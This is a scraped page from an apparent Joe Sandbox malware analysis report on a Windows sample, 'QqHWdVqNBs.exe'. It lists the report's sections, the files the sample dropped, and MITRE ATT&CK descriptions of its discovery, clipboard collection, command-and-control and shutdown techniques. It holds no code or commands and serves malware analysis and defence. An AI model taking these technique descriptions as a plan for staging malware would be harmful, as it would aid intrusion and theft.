Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report QqHWdVqNBs.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js

C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

C:\Users\user\AppData\Local\LinkGuard Dynamics\r

C:\Users\user\AppData\Local\Temp\369580\Origin.pif

C:\Users\user\AppData\Local\Temp\369580\Z

C:\Users\user\AppData\Local\Temp\Alot

C:\Users\user\AppData\Local\Temp\Bdsm

C:\Users\user\AppData\Local\Temp\Beginning

C:\Users\user\AppData\Local\Temp\Buck

C:\Users\user\AppData\Local\Temp\Chad

C:\Users\user\AppData\Local\Temp\Consecutive

C:\Users\user\AppData\Local\Temp\Convenience

C:\Users\user\AppData\Local\Temp\Creator

C:\Users\user\AppData\Local\Temp\Cruises

C:\Users\user\AppData\Local\Temp\Dental

C:\Users\user\AppData\Local\Temp\Double

C:\Users\user\AppData\Local\Temp\Emotions

Windows Analysis Report
QqHWdVqNBs.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre